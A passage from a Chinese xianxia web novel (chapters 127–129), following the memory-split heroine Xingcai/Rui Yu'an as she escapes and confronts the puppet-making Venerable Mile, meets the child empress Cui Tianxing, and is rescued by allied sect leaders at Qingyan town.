那么，今后，我的敌人是……天道。
黄椒，金沙说得没错，这是你的阴谋，转嫁天道争对的目标，而你可以消失于幕后。
时间不多了，我得赶往青衍镇。但是，密勒必在青衍镇守株待兔。
泽萃……”
“你要去找他？”银度在半空凝聚身形，森冷地注视合欢妖尊，“恐怕不行。”
荇菜呵笑了声，悠然自得般松弛地面对他：“你没走啊？密勒尊者。”
127. 第 127 章
“你没有去青衍镇，恢复记忆也是短暂的，又刚杀了人，不可能走这么快。”密勒尊者张手，刻刀入指尖，平静无波道，“或许，你该换一种活法。”瑞玉安不会如此残忍地杀人。
荇菜无声地笑着，睨向眼神危险的密勒：“你舍得？”目光落在他的指尖刻刀，“千丝不在？哦，你把它放在另一个地方。
我猜猜……在红翡庄园时，你离开过一段时间，有人看到你在中原各地破坏道祖黄椒的玉像。那时你已经生出嫉妒这种情绪，你该不会把千丝落在海外魔窟的泽萃处吧？毕竟，这个世界上能威胁到你也就是他。”
密勒尊者的脸色一下子难看至极，指尖已经按捺不住，弹出闪着银光的刀锋。
荇菜笑得越发灿烂：“你打算把我……不，瑞玉安做成人偶？你猜，她现在知不知道你得这个想法？”
密勒尊者的神情有了恍惚，随即森冷的利眸射向荇菜：“你死，她就能出来。”
“哈哈哈……”荇菜忍不住大笑，而密勒尊者的指尖刻刀转瞬落在她纤长的颈项。
好快。不愧是玩弄千丝的渡劫境，在昆山一战上封杀金沙退路的四尊之一。
荇菜依旧不慌不忙，勾唇笑睨：“杀啊。”
“你当我不敢？”
“你赌不起，密勒。”荇菜的眼神忽利，往刻刀上贴近，嫣红的血顺衣领滑落，“瑞玉安是我来到这个世界前夜得我：刚出大学，懵懂莽撞，天真又可爱，还有一腔热血……甚至认为人生有爱就是一切，有情饮水饱，却不知人间的无可奈何远胜繁花似锦。
哈哈哈哈……多纯真的女孩啊。如今，我回头看去，也喜欢这样的瑞玉安。
密勒，杀了我吧。杀了我，那个一心爱你、愿为你放低姿态、放弃公主尊荣的瑞玉安就永远……不会回来。”
她，本也回不来。
暗紫敛金的眸里蓄上水，一滴泪砸在荇菜的衣领，与血混在一起，沾在密勒的拇指。《欢情诀》早已如骨血般流进荇菜的身体，需要用时自然流露。
密勒尊者的手像是被烫到般轻轻地颤了下。
而这个须臾，荇菜一步瞬移，向青衍镇直奔而去。
密勒出手如电，即使没有千丝，以渡劫境的修为也能瞬杀合体境后期的荇菜。
荇菜察觉背后风声，上身后仰，擦过密勒尊者的刻刀和脸。
待双方立住，密勒尊者一回身就看到瑞玉安宛如小兔般楚楚的纯洁、怀疑的眼神。
密勒尊者无比肯定地念出那个名字：“瑞玉安。”
这让他停止下一步的行动。
“银度……啊……”瑞玉安刚喊完，直直往地面坠去。
她仰看在上空俯视的银度，想起白塔顶楼发生的事……被银度推下白塔时产生过的绝望、质疑和伤心欲绝，再次翻涌上心头。
瑞玉安痛苦地闭上眼睛，迎接死亡地到来。
这时，她的脑海里有个声音在说：
“瑞玉安，你为男人死过一次，难道要为同一个男人去死第二次吗？”
“你是谁？”瑞玉安的识海里泛起一片红雾，四处寻找声音的来源，对上一双猩红泛紫的眼眸，“啊……你是谁？”
“我就是你。你已经修习过天地同欢道，即使没有男人的帮助，你照样可以借用这具身体的灵力飞起来，脱离现在的困境。”
“你是……合欢妖尊？不，我不是你。你杀人无数、坏事做尽……”瑞玉安又想起黑珠先生眼里的合欢妖尊，在不同的人眼里，合欢妖尊做过的事褒贬不一。
“若你不想知道真相，大可直接在他面前摔死，看他会不会出手救你，为你掉一滴眼泪。或者，你不想问他一句为什么？”
荇菜不仅了解敌人的心思，对自己更是无比熟悉。
瑞玉安瞬间睁大眼睛，对上矗立半空、眼神森冷的银度。
他不会来救我，过了这么久都不动，他不会来救我……瑞玉安露出哀怨含恨的痛苦眼神。
“我该怎么做？”
“你要打开天地同欢的道境，融入世间，想象自己是天地当中得一员。那么，哪一员可以解决你现在的困境？”
瑞玉安再次闭上眼睛，没有看到银度飞下来的身影。
她的脑海里翻开人间的画卷，世间万物、来去如兮，唯有鸟儿在天空自由地飞翔，宛如与天地融为一体。
“我是……自由飞翔的鸟儿。”
刹那间，瑞玉安体内的灵力辐射向四周。
天地同欢，她以身化其中，在银度伸来的手前，直接消失不见。
密勒尊者立在深山林地，诧异地看向抓空的手指，感受着空落落的手掌和心，像是丢了魂。
他的怀疑、挣扎，最终还是弄丢了瑞玉安。
“不，瑞玉安……不……”转瞬移步，直奔青衍镇。
“我成功了。”瑞玉安震惊地穿梭在天空，远比鸟儿还要自由，“合欢妖尊，我成功了。合欢妖尊？合欢妖尊……”
得不到荇菜的回应，瑞玉安心下微惊，退出天地同欢的道境，一下往地面坠去。
这次，瑞玉安已经有经验，虽有惊险还是平安落地。
“呼……太好了。”
瑞玉安落地后环顾四周，依旧是一片山林，但是有很多脚步声。不等她回过神，已经被一群身穿铠甲的士兵包围。
“你们……”瑞玉安被士兵们逼得一步步后撤，忍不住吐槽，“当真是前有负心狼，后有欺人狗。”
“朕还不知自己赫赫威名的山泽黑甲军是欺人狗。”崔天行从让开的军阵里走出来，小小的身姿笔挺如剑，散发的英气和威严让一个成年人都望而却步。
瑞玉安忍不住往后缩了下：“山泽黑甲军？你……是山泽……女帝，崔天行？”
“大胆，竟敢直呼陛下名讳。”侍从在崔天行身后高声道。
崔天行轻蹙长眉，上上下下审视瑞玉安，朝身后人道：“速去请宰辅北冥。”
有人闻声离去，女帝上前一步，而瑞玉安直往后退。
崔天行只能停下脚步，转瞬间，笑容已像是个邻家女孩，温声道，“行姨姨……”
她想起凡人和修真界间的使者欧阳燕歌。
欧阳燕歌曾经说，合欢妖尊荇菜正在做一件事，不能被人打扰。如此，山泽才在不久前撤回寻人的山海令。
“小小年纪怎么乱攀亲戚？”瑞玉安抿唇，又道，“我是三首国翡玉王的小女儿，瑞玉安公主。虽说你是女帝，我也是公主，拥有翡翠城。我们……大抵一样的。”
“呵……”崔天行笑出声，向瑞玉安招手，“对，公主，过来吧。我带你去洗漱、吃点东西，再派人把你送回翡翠城，可好？”
瑞玉安有种被哄的感觉，但是，此时此地，环顾一身脏兮兮带泥的衣衫，还是忍不住应下。
“你好好把我送回翡翠城，我就让黑珠先生给你们在翡翠进口一事上让利。”
崔天行大笑，一把抓过色厉荏苒的瑞玉安，叠声答应：“好好……都听行姨姨……都听小公主。”
侍从喊道：“陛下回营。”
洗漱过后的瑞玉安被好吃好喝地招待着，身前美男环侍，年龄从七八岁到二十一二不等，简直让人眼花缭乱。
尤其是晚间宴席上，崔天行更是拉住瑞玉安不放，表现得像是一个被新进美色迷住的好色帝王。
宴席上，鼓舞男子一个个像是要把女帝吃掉般紧迫盯人，而女帝一旦把目光移向这群人，他们立时施展浑身解数，每一块肌肉都像是闪着诱惑的光。
场面简直让人生出鸡皮疙瘩，还有一丝胆寒。
宴席散后，崔天行挥退侍从，留下北冥。
北冥向瑞玉安行礼，温声道：“公主想要去什么地方？”
瑞玉安在崔天行鼓励的眼神下镇定道：“去……青衍镇。”
崔天行和北冥的眼神相较，莞尔道：“姨姨，若是消息不错，现在的青衍镇等于死灵之地。”
“什么意思？”瑞玉安不解，又恍然道，“银度一定会去。不行，我一定要去青衍镇弄明白一件事。”
他究竟为什么这么对我。
“好。姨姨要去，天行让黑甲军护送你前往。”
“不可，陛下。”北冥摇首道，“陛下接替先帝位置不久，朝臣根基本就不稳，此番猎场狩猎就是为钓出那些狼子野心之徒，若是贸然让黑甲军离开营地，陛下恐有危险。其次，修真界和凡世早已签订盟约，若参与此事，修真界昆道宗、天净宗或会出手帮助各国皇裔东山再起。”
崔天行抿直唇角：“这也不行，那也不行，那怎么办？
北冥叔叔，你别忘记，你的名字是姨姨帮你取的，你有如今，也是姨姨一手帮扶……”
“等等……”瑞玉安在旁听得一头雾水，“陛下，你口里的姨姨……”指指自己，“我？”
崔天行重重地点头，指向长身玉立的北冥。
“姨姨，你忘记了，当初你在拘缨国假扮丞相陆皎，后将这个身份给了北冥。父皇借由北冥里应外合拿下拘缨国。北冥自此在皇朝崭露头角，一直升到现在山泽宰辅的位置，先帝临终托孤，乃是辅政大臣。而这一切都是姨姨给他铺的路。”
北冥低首，向瑞玉安行礼：“北冥多谢师叔。”
瑞玉安摆摆手，拒绝承认。“又不是什么好事。我们三首国就在高欧旁边，拘缨被灭，若非高欧人好战，恐怕三首现在也沦为山泽领土。”
崔天行摸摸鼻子，轻咳了声。
“姨姨，你是欧丝人啊，又不是真的三首国人。”
“我现在就是三首国人。哎呀，不要扯这些啦。我要去青衍镇。”
崔天行思量了下，兴奋道：“师父，师父一定可以帮行姨姨。我现在就去拟信，灵剑传信送往青虞。”
瑞玉安看着崔天行写信，旁边的北冥靠近过来，问道：“她一直是这样吗？”
北冥愣了下，忽然就理解瑞玉安的问题：“在人前，陛下必须展现超远年龄的稳重和城府。在人后，陛下很久没有这么开心。师叔，你的到来让陛下找回过去的自己，而且今夜也一定会很热闹。”
瑞玉安没听明白他的话，也没解释自己不是他口里的师叔。
北冥又忽然道：“阻止师叔前往青衍镇的人……”
“银度，翡玉王给我的侍卫。后来，我知道他还有个尊号，高欧人的密勒尊者。”瑞玉安说完后定定地看向哑口的北冥，“他很可怕吗？”
“深不可测。论当今天大陆上的修真实力，密勒尊者的能为与三生道魔主泽萃不想上下。若是此人阻止你前往青衍镇，师叔必然是不可能抵达。”
“那怎么办？”瑞玉安急起来，“我不懂，他为什么要阻止我。”
北冥琢磨这里面的事情，可恨欧阳燕歌行走两边都没有透露更多消息。
“陛下，此事还得从长计议，若是让青虞掌门前往青衍镇，怕是有危险。”
崔天行顿住手，还是毅然把灵剑信传出去。
“不怕。若是姨姨的事，师父必定会来。再者，如你说的，修真界的事由修真人解决。何况，金姨也在青虞宗，定能帮
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上忙。”
北冥看懂崔天行的眼神，也明白当初她回来当这个女帝放弃什么，放弃长生的机会。
商议过后，瑞玉安在女帝的帐篷里入睡。床榻上，她翻来覆去，再次打开脑海里的天地同欢道画册。如今这本画册可以被打开第二页。
“天地同欢，入境归同。”天地画册上，万物融为一体，合合相生。
瑞玉安毫不费力就感知到里面的法意，周身呼吸与天地同调，融合于自然万物当中。你中有我，我中有你。
“好强的道意。”崔天行站在瑞玉安的帘子门口，感受辐射到周身的欢畅，缓缓笑道，“今夜驻扎在营地的人都被这股法意洗涤。行姨姨真是福佑天行，又帮天行一次。”
凌晨时分，崔天行的敌人终于发动攻击，却在这方辐射向外的法意洗涤下愣了神，生出一种：我是陛下的臣子，却要干刺杀陛下的恶行，真是大逆不道。罪恶感让他们的行动变得迟疑。
而北冥趁此机会带人全歼这些反叛者。
帐篷里的瑞玉安睡得安稳，帐篷外却已经是一片血雨腥风。
北冥横扫那些结党刺杀的臣子，趁他们被法意洗涤的功夫全部拿下。
天亮后，一场轰轰烈烈的围猎刺杀行动就这样消弭。
瑞玉安醒来时就听到外间有人在说话，一时没有起身，听了一耳朵。
北冥：“他们觉得陛下带回一名美人，必定魂不守舍，放下戒备。这才会趁夜进攻，没想到却中陛下的计策。”
崔天行冷冷道：“朕上位至今，凡臣建议无不听从，献上的美人，不论年龄大小无不笑纳，这才让他们觉得朕贪色好逸。
合欢妖尊的出现如一颗乱棋，让他们自以为是谁的刺杀计划，而生了内部嫌隙，继而仓促行动，却恰好被你抓个正着。
荇姨一直是我的福星。行了，你下去处理余下的事，务必斩草除根，不可让他们再有一丝复国的念头。”
“是。”北冥躬身离去。
崔天行轻叹口气，揉捏额角，一抬头就看到瑞玉安站在面前，讶然间调整面色：“行姨姨……”
“哦……”瑞玉安不知道说什么，有些心疼这个女孩，又有些觉得她可怕。外面响起各种叫喊“陛下”“陛下饶命”的声音。
瑞玉安想要走出去，却被崔天行拉住手腕，回头道：“你打算怎么对待那些人？”
崔天行张口，却什么话都说不出。但是，她不想看到瑞玉安眼里的陌生和厌恶，吞下哽咽，委屈道：“姨姨是觉得我变了吗？”
眼泪就这样不经意地蓄满眼眶。她瘪嘴看向瑞玉安，“母后死的时候，除师奶奶，没有人为她掉一滴眼泪。若不是行姨姨，我也活不到现在，更没有今天。
姨姨，我确实变了，亲眼目睹章鹏和蛇瞳妖道同归于尽，帮扶父皇铲除三生道安插在山泽的黑手、各地分坛邪道，一步步走到如今，我早就变了。
我辜负行姨姨，你把我交给师父，想让我成为一名剑修。但你不知道，你把我送给青虞掌门就等于把山泽送到我手里。所以，我必须守住它，也是为完成母亲的心愿。
姨姨，这些人来到我的身边本就不怀好意。若是一个倏忽，我都不知道被他们毒死多少回。”
瑞玉安张口，脑里闯入一句话：不知他人苦，莫劝他人善。
“我……”
“姨姨放心，那些没有伤害过我，没有与逆臣勾结太深的男子，我都会放过他们。不过，我不会留下他们，会把他们送去皇陵守墓。”
瑞玉安轻轻地松了口气，忍不住道：“你不怕这些人把你的祖坟给挖了？”
“他们敢！”崔天行脱口而出，随即与瑞玉安笑作一团。
她一把抱住瑞玉安，又搂又抱，“姨姨，你真不知道啊，若不是以前与你住过一段时间，这些个美色放我面前真得会眼花，而且各种温柔小意，送吃送自己，差点没把我拿下。全赖姨姨的美色和教导，我才能万花丛中过，片叶不沾身。”
“瞧你这话说得，有你荇姨，就不认我这个师父？”禾诗逸在帐内凝出身形，幽深含笑的目光扫了一圈瑞玉安，朝毕恭毕敬的崔天行道，“为师怎么说？你下山入世就不再是青虞宗弟子，怎能再用灵力、再传剑信？”
“师父。”崔天行垂头行礼，却发现瑞玉安挡在身前，不由感动，“姨姨。”
禾诗逸呵笑了声：“失忆还记得护犊子，不愧是你。”
“失忆？真失忆了？”崔天行惊讶道，惹禾诗逸送来白眼。
禾诗逸一把抓过瑞玉安的手，拽在身后，朝崔天行道：“她的事由修真界接手，不饶天行女帝记挂。
天行，记住你当初下山发的誓言，以天下人为己任，以天下事为己责，好好处理国事，善待百姓。另外，记住凡人与修真界的条约。
各地仙山已经设立结界，日后世上只闻修真界，再无修真界之实。”
“师父……姨姨……”崔天行一个扑抱，抓了空。
禾诗逸已经带瑞玉安离开帐篷。
崔天行看着空荡荡的帐篷，心里跟着空落落。
帐外传来将军禀告的声音，她深吸口气道：“进来。”
**
禾诗逸一用力，瑞玉安就跌在地上，两人一高一低对视，一者眼里复杂，一者眼里好奇又委屈，像是崔天行最后的眼神。
“你还委屈了？”禾诗逸憋口气，“知不知道你这一失踪差点闹得天下大乱啊。失忆？凭什么失忆，忘记我？你知不知道我……我……”
瑞玉安怕怕地看着禾诗逸：“你什么？”
128. 第 128 章
金猴姐从暗处走来，抱胸笑道：“她也很委屈啊。小荇。”眼神在禾诗逸身上一扫而过，又注视着瑞玉安。
瑞玉安面对靓丽的金纱美人，一时看愣眼。
金猴姐一步近身，贴在瑞玉安的眼前：“小荇，我是不是很好看，有你的三分影子？”
“好看。”瑞玉安认真道，“我叫瑞玉安，是……呃……”
禾诗逸拎起金猴姐的领子，提留去一边，朝瑞玉安道：“别理这泼猴，硬生生拔毛重长，把自己凹成你，看着就眼疼。”
“嘿，爱美之心人皆有之，对吧，小荇。你不介意吧？”
瑞玉安默默地摇头，一声不敢说。
“你们这么欺负荇师姐，等她记起后，一定会削你们。”瑶姬从树上落地，娉婷走来，身后跟着西双儿。
西双儿绕过几人，扶把受到惊吓的瑞玉安：“听说荇师姐现在是三首国的小公主，三首国盛产翡翠。荇师姐，记得给双儿置办几身头面首饰，要最好的翡翠、最好的玉哦。”
“呃……啊……”瑞玉安默默应道。
四个女人的眼神交锋，开始绕瑞玉安走。各个眼神含笑，像在琢磨什么。
禾诗逸：“真没眼看，但……还是想看。”
西双儿：“第一次在剑仙城偶遇，我就被她的容貌吸引，那股子气度，睨眼扫来的风情，融合在一起，像是一块诱人的糕，真是让人嫉妒。”
瑶姬：“有人置之死地而后生，有人以死蜕变，从金莲到荇菜，从荇菜到合欢妖尊，再是如今的瑞玉安，一人多面，宛如……”
金猴姐：“道祖黄椒啊。诡计多端，喜欢造分身迷惑世人。说得好听分身镇守各地，为天下太平，实际上……可能是金蝉脱壳。”
其余三人一致点头：“精辟。”“有道理。”“新思路。”
“这么热闹。本宗主大发慈悲，送她一程。”
一名簪花“男子”突兀现身，众目睽睽下一把拎起瑞玉安，再瞬移入空间，夺路而去。
瑶姬震惊道：“刚刚是谁？”
禾诗逸动身追去：“敢抢本宗主的人，找死。”
金猴姐慢悠悠道：“昆道宗宗主金钱，传闻她是女扮男装，幼时接近金沙，曾拜师学艺。金钱打的金花是整个昆山地区人人趋之若鹜的宝贝。手艺嘛……比我差一点点啦。”
瑶姬：“金沙尊者在昆山一战后生死不明，金钱宗主想找密勒尊者报仇吗？
如今，修真界内众所周知，三首国‘瑞玉安’是密勒尊者的软肋。金钱想用荇师姐逼问密勒关于金沙的去向。这么说，荇师姐暂时没有生命危险。”
西双儿看两人慢悠悠地分析，急切道：“你们还在这聊什么，快追啊。不能让禾师姐一个人对上成名已久的金钱宗主吧？”
金猴姐哈笑了声：“同为宗门之主，岂会这么轻易就打起来。金钱出现在此地蹊跷。宗门的和平盟约才签订不久，不会无缘无故结怨。”话虽如此，她已经疾步奔驰，很快消失在山林。
瑶姬叹道：“金姑娘虽不能修炼，但是速度和自身的实力深不可测。双儿，你真得要去掺和此事吗？”
西双儿撇脸：“自然。我们从高欧回来就是为帮助师姐。何况，密勒尊者与我们有旧，说不定……”
“你别这样想，他这等实力的尊者做事全凭喜好和心情。你我不过是他举手之劳，未尝会挂在心上。你我还是不要再提起高欧白塔的事为好。”
西双儿轻轻点头：“我明白了，走吧。”
两人快速向青衍镇追去。
**
“啊……”瑞玉安被狠狠地抛下去，落进一片森冷的废墟。周围飘忽着一阵阵气流，让人脊背发凉，毛骨悚然，像故事绘本里描述的极阴之地。
“救命……呜……救命……银度……”
密勒尊者立在青衍镇上空，被金钱以上千法器阻拦去路。
金钱的周围前后环绕无数的法宝灵器，只稍一个念头，就可以自毁法器，粗暴退敌。
她含笑道：“有本事，你就下去救她。你一动，这里的三千件法器全部爆裂，不仅你会受伤，下面的鬼气之地也会被夷为平地，更不用说里面的活人、死灵。呵呵呵呵……”
密勒尊者缓缓抬起帽兜下的绿瞳，像看死人一样看着金钱：“你不该找我。”
“是吗？我也是没办法。一日为师终身为父，尽管他以前想拿我祭剑开锋，但是，终归是忍住了。而且，他是我昆道宗的老祖，不管怎么说，昆道宗要在修真界立足，脸面是要挣回来。你说对吧？”
密勒尊者正有动作的趋势，金钱已经伸手、快口：“别动，你听，炸了。”
“嘭”得一声，一件灵剑爆裂，碎片向四周上下扎去，极阴之地传来瑞玉安的惊呼声。
密勒尊者果真不敢再动，阴森森道：“你想怎样？”
“简单。”金钱刚要说，侧面迎来一道剑光，旋身避开，“我说，青花鱼，你这样不地道，堂堂青虞宗主，剑宗掌门，怎么能搞偷袭这一套？”
禾诗逸唾道：“准你撸人，不准我偷袭？你喊谁青花鱼？”
“你不是青虞宗吗？水泽乡还在时，最好吃得就是秋时的青花鱼。青花鱼，青花鱼，青花鱼……”
“我宰了你。”禾诗逸瞬步提剑，发力斩向金钱。
一连三件法器爆裂，碎片横飞。
密勒尊者一步瞬移入青衍镇废墟，却发现进去后根本没有到达瑞玉安的位置。
“得了。”金钱挪步避开剑芒，与禾诗逸站在一处，“他乱了阵脚，入了欧阳燕歌和清欢联手布下的祸心阵。”
两人对视，禾诗逸颔首道：“我去接菜菜，你去敲响长恨钟。金姑娘随后就到，她可以再拖密勒半刻钟。”
“好。分头行动。”金钱突然回头，抛过去一朵雕刻繁密又精细的金色花朵。
禾诗逸接着金花，一脸复杂。
金钱呵笑道：“这是传信金花，方便你我在鬼气之地联络。禾掌门，此事过后，昆道宗就不欠你们青虞宗人情了。”
禾诗逸收起金花，送她个白眼，飞身入青衍镇。
金钱说得情谊正是三生道龙黄主和圭酉等人攻打昆道宗时，天生大陆各地宗门联合起来退敌的事。金钱能一手创建一方宗门，也是颇有原则和目标的女子。
**
青衍镇里的瑞玉安被鬼气追赶着逃命，惊恐地喊道：“你不是合欢妖尊吗？你不是很厉害吗？你快出来打它们啊。”
片刻过去，啸叫的风声已经把瑞玉安折磨地几近崩溃，口不择言喊：“银度……银度你在哪？银度……为什么……呜呜……”
脚踝上的万音铃浮起一阵金光，击退进攻的鬼气。
瑞玉安跌在地上，赶紧取下铃铛举在手上。鬼气再次聚拢过来，她来不及穿鞋，飞快地爬起来，一脚高一脚低得继续寻找出路。
“有没有人啊……有人吗？来人啊……”
灰淡的石板街上全是空落残破的屋子，鬼气横行时发出咯吱咯吱的响声。
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瑞玉安被翘起的石板勾了下，扑在地上。她灰头土脸，衣衫凌乱，再也忍不住缩爬向墙角，团成一团。
“呜呜……银度……”
“菜菜……”禾诗逸一步近前，扶起瑞玉安，安慰道，“别怕，有我在。”
瑞玉安不领情，直往后躲缩。
急中生智下，她打开天地同欢道境，一下子消失在禾诗逸的面前。
“菜菜，菜菜……”禾诗逸抓个空，心急着四处寻她，又取出金花传音给金钱，“金宗主，再等等，菜菜失踪了。”
金钱扛着敲响长恨钟的钟杵，哼笑了声：“本宗主就知道这事没这么容易。这个合欢妖尊是个能惹事的主。
本宗主帮你一起找吧，别到时候人进祸心阵，大家就白忙活一场。你我加上清欢联手，也打不过一个密勒尊者。”
“别说风凉话，快找吧。”
禾诗逸握紧金花，转向布下祸心阵的方向奔去。
金钱行走在青衍镇的街道，感受此地的气流，朝传信用的金花道：“禾掌门，此地的鬼气太重，又有冥神剑镇压地脉亡灵，阴灵珠吸引周围百里的鬼气聚集此地，再这样下去，必成一方祸害，须得尽快处理。”
禾诗逸本不想搭理她，但此地关系着荇菜的道心，需慎重对待。
“此地是青虞逆徒朱琴天造下的孽，屠戮一镇百姓。天龙道长恨尊者帮忙镇压此地枉死生灵，等待有朝一日重见天日。
于公于私，青虞宗对此地灾难也有不可推卸的责任。”
“呵，你倒是大气。不过，你也相信她能让此地亡灵死而复生？世上有一个道祖天尊已经了不得，还能出第二个？
道祖散神裂魂后，世间再无人能以功德与天换命。我劝你们还是死了这条心吧。”金钱手中的金花旋飞，所过之处，金光灵气辐散，恶鬼避之不及，尽皆消散一空，足见手段凌厉。
禾诗逸没再回金钱的话，深吸口气后一步踏入祸心阵。
祸心阵里，密勒尊者一次次把出现的瑞玉安做成人偶，本以为这些人偶宛如千丝般形影不离，却不知千丝早在不久前就被他舍弃。
做成的人偶也不断地消失，好似永远不能被支配。
而且人偶不可能变成那个会说暖心话的瑞玉安，这让密勒尊者一次次地生出疯魔似的绝望。
“为什么……究竟该怎么做？为什么……”密勒尊者做成一个人偶就毁一次，一次又一次，最终陷入绝望的困境。
“银度……”
瑞玉安出现在祸心阵，一眼看到那个入了痴般的翠绿环金的眼瞳，急奔过去，“银度，救我……”
“又是你，骗人的人偶……”
密勒尊者死死地看向奔来的瑞玉安，指尖的刻刀毫不犹豫地挥舞过去。
瑞玉安被一阵光恍在原地，心在他的一划间停摆，茫然地捂住喷薄热血的颈项，不可置信地呢喃：“银……度，为……什……么……”
“瑞玉安？不是……人偶……”
银度接住软下去的瑞玉安，捂在她的颈项，血烫颤他的十指，让他整个人如置冰窟，生出冰凉的惶恐，“热的……瑞玉安，不……瑞玉安……你不能死，你不能死……”
瑞玉安死死地盯着银度，想要说什么，却浑身发凉，想要伸手推开银度，却只能用余下的力量握紧万音铃。
“菜菜……”禾诗逸的心猛烈地悸动了下，朝传信金花道，“金钱，不能等了。快去敲响长恨钟。”
金钱：“收到。”
129. 第 129 章
禾诗逸凭直觉往一个方向闯，不久后看到被嫣红血色包围的女人。她想要停下脚步，却下意识瞬移，伸手往密勒尊者的怀里抢人。
密勒尊者茫然地抬起头，盯向禾诗逸，无声启口：“你，该死。”
禾诗逸伸出的手紧握，五指一张，抓住凝出的灵剑剑柄。
悲伤抵达心头，似空了一角，她张口就道：“若你想要一个任你摆布的合欢妖尊，她永远不可能是你的选择。她不属于你，放开她。”
密勒尊者抱紧死去的瑞玉安，周身气罩阻止禾诗逸的剑气。
“我不要你们的合欢妖尊。我只要瑞玉安。她是我的瑞玉安。”
“自欺欺人。”
禾诗逸斩去几剑，怎么都破不开密勒尊者的法防，怒急攻心下以心头血祭剑增力。
密勒尊者洞悉她的用意，轻眯寒眸，周身气罩辐射开。渡劫境的威力直接把禾诗逸震地倒飞出去。
他抱起瑞玉安的尸体，空洞的双眸里闪烁疯癫的光：
“我要带她回白塔，她就永远不能离开我。”守着这份死寂的绝望，等待同归于尽得那刻到来。
“呵呵呵……”
“疯子！”禾诗逸纵身掠去，顾不得此地的阵法，凝聚全身真力，举剑斩向密勒尊者。
密勒尊者的后背罡气被惊天动地得一剑斩开一道缝隙，宛如烟气的剑气钻入他的躯体，让本就缺少经络得他像是被万蚁钻心，疼痛蔓延向四肢百骸。
“疼，这就是疼。为什么，以前觉得很痛的事现在没有心里痛。
瑞玉安，你起来，告诉我，这是为什么……”
“放开她。”禾诗逸见此法有用，再吞丹药，凝出真血祭剑，再次劈斩，拦他脚步。
两人僵持不过须臾，禾诗逸还是败下阵，被狠狠地砸在地上。
密勒尊者抱着瑞玉安的尸体，慢步逼近，起了杀心。
“咚……”得一声，长恨钟鸣，人间长恨。
这声钟响宛如一道万古长音。
向上，警天醒道；对人，醍醐灌顶。
密勒尊者从杀念里回过神，祸心阵的乱心幻术已经消散。他低头看着瑞玉安苍白的脸，已经感觉不到心跳的存在。
但他还是想把她带回白塔，就像从前幻想过得每一次，把她制作成人偶，永远陪在身边。
尽管人偶的回应只会依据主人的意愿，但这也很好，对吧？
禾诗逸瞬移，挡住密勒尊者的去路，却被密勒尊者一脚踹向墙柱，接连摔出数丈远，狠狠地砸在地上。
她试图撑剑起身，口吐鲜血：“荇菜，合欢妖尊，你以为讲话断前略后就没人知道你的秘密吗？你难道忘记你的来处吗？
若你忘了，我怎么办？
菜菜，你知不知道我……把你当成此生的归宿。若你不在……若你不在——
红尘若洪，滔滔不绝去何方？心澄若镜，自有蓝星是归途。
你有归途！
我呢？”
呕血之声呢喃自问，心痛沥血下大喊道，“我不准你死，你听到吗，荇菜，我不准你死。啊……”
禾诗逸拖剑疾步，英气的眸子里蕴含深深地执念：“你把她还给我。”
密勒尊者旋身避开禾诗逸的水舞烟华诀剑芒，不再让宛如烟的剑气钻入经脉。他抱着怀里的尸体，转身划出一刀，直接划向禾诗逸的后脊。
这是他制作人偶时第一刀下去的位置。
死去的人眨眼，潋滟的暗紫眸光笑睨向低头望来的密勒尊者。
荇菜伸出纤长的手，在千钧一发之际，握住密勒划向禾诗逸后脊的手腕，坚定且不容置疑地握住他。
她幽幽张口：“银度，杀了她，我会恨你一辈子。”
《玉石还阳功》再次救下荇菜的性命。
“你不恨我吗？瑞玉安。”在密勒尊者的眼里，瑞玉安公主死而复生，一如往昔般俏丽活泼。
这是四神惑术，趁密勒尊者内心最脆弱混乱的时候施展，一举成功。
荇菜勾唇，周身脏衣如汽消散，长发飞舞如绸，一身火红镶金的凤翎裙摆，随风浮出金红的羽状火纹。
她赤足离地，肌肤欺霜赛雪，婉婉如天籁：“恨？不，只是我好疼。”
一句话让密勒尊者的神情变了又变。
荇菜拉回密勒尊的手，让他的指尖刻刀落在完好如初的颈项：“银度，真疼啊。”
密勒尊者的指尖忍不住颤动，刻刀滑过火红的裙摆，擦过荇菜宛如白玉的赤足，“叮当”一声落在地上。
“我……不是故意的，瑞玉安……原谅我……”
“好。我会原谅你。”荇菜仰首，擦过他的唇角，“乖乖等我找你，不可再乱来。”
禾诗逸就这样看着恍如隔世的荇菜，看着她哄骗一个渡劫境的大能消失在原地，想要笑一下，却咳出大口的血水。
“咳……咳……合欢妖女，果真是妖女。”
密勒尊者入蜃珠洞境后，荇菜含笑走向带笑吐血的禾诗逸，上前勾起禾诗逸的下颚，看清一张英气却伤痕累累的脸。
“你真是我的好阿逸，竟拿自己威胁我？”
旋手凝力，四周鬼气入体，转眼流出后引渡入禾诗逸的法体。
“禾诗逸，你给我记住，不管我如何，你都是青虞的掌门，肩负发扬一宗、守护一方山水的重任。”
禾诗逸平复心口的气血，轻舒口气，撩眸瞪她：“情急所迫。”
她旋剑收入体内，仔细审视荇菜，“还有，好端端为什么逼自己失忆？又把开启记忆的口诀转达给道生花那种不靠谱的人。
若非长恨尊者在闭关前见到欧阳燕歌，说不定你就……”
“我如何？长恨在海上一战被密勒所伤？”荇菜见她点头，颔首间眸光落在半空的女子身上，“昆道宗宗主金钱。”
女扮男装的金钱挑眉笑道：“妖尊认识本宗主？”
“在金沙的识海幻境里见过。”
“菜菜……”禾诗逸蹙眉，跨身拦在荇菜面前，对上正色起来的金钱。
荇菜轻轻地拍在禾诗逸的肩头：“无妨。若她想报仇，不会与你合作。”
“呵。那是本宗主欠青虞宗人情，本宗主可不知道昆道宗老祖在你手上啊。”金钱的神色严厉起来。
禾诗逸回眸瞪了荇菜，轻声道：“你就不能不说？”
“不行。她有权利知道金沙的去向。”荇菜一把勾住禾诗逸的手臂，借给她力气站稳。
禾诗逸一脸无奈，朝金钱道：“她胡说的。昆山一战，她根本不在现场。”
“谁说我不在？”
“闭嘴，你少说两句。”禾诗逸脸都气红了。
荇菜忍不住笑起来，对面的金钱也笑了。
金钱抱胸看着底下两人，突然道：“本宗主就觉得奇怪，给你金花的时候你怎么是这种神情。原来你是……”
“闭嘴。”禾诗逸左手一伸，再次抓住凝出的灵剑，“要打就打，废话什么？”
金钱翻了个白眼，一个巴掌拍不响，一个愿打一个愿挨，真是没眼看了。
“金沙确实被奉为昆道宗的老祖，但他自己从未承认过自己是昆道宗人。他……也曾是本宗主的至亲师父，曾经拿本宗主祭诛神剑开锋。若非他体内的阵法金光阻拦他，恐怕本宗主早已不在世间。
再者，道祖功德天下，四尊联合诛杀道祖，此事不可原谅。
功过相抵，就这样吧。
告辞。”
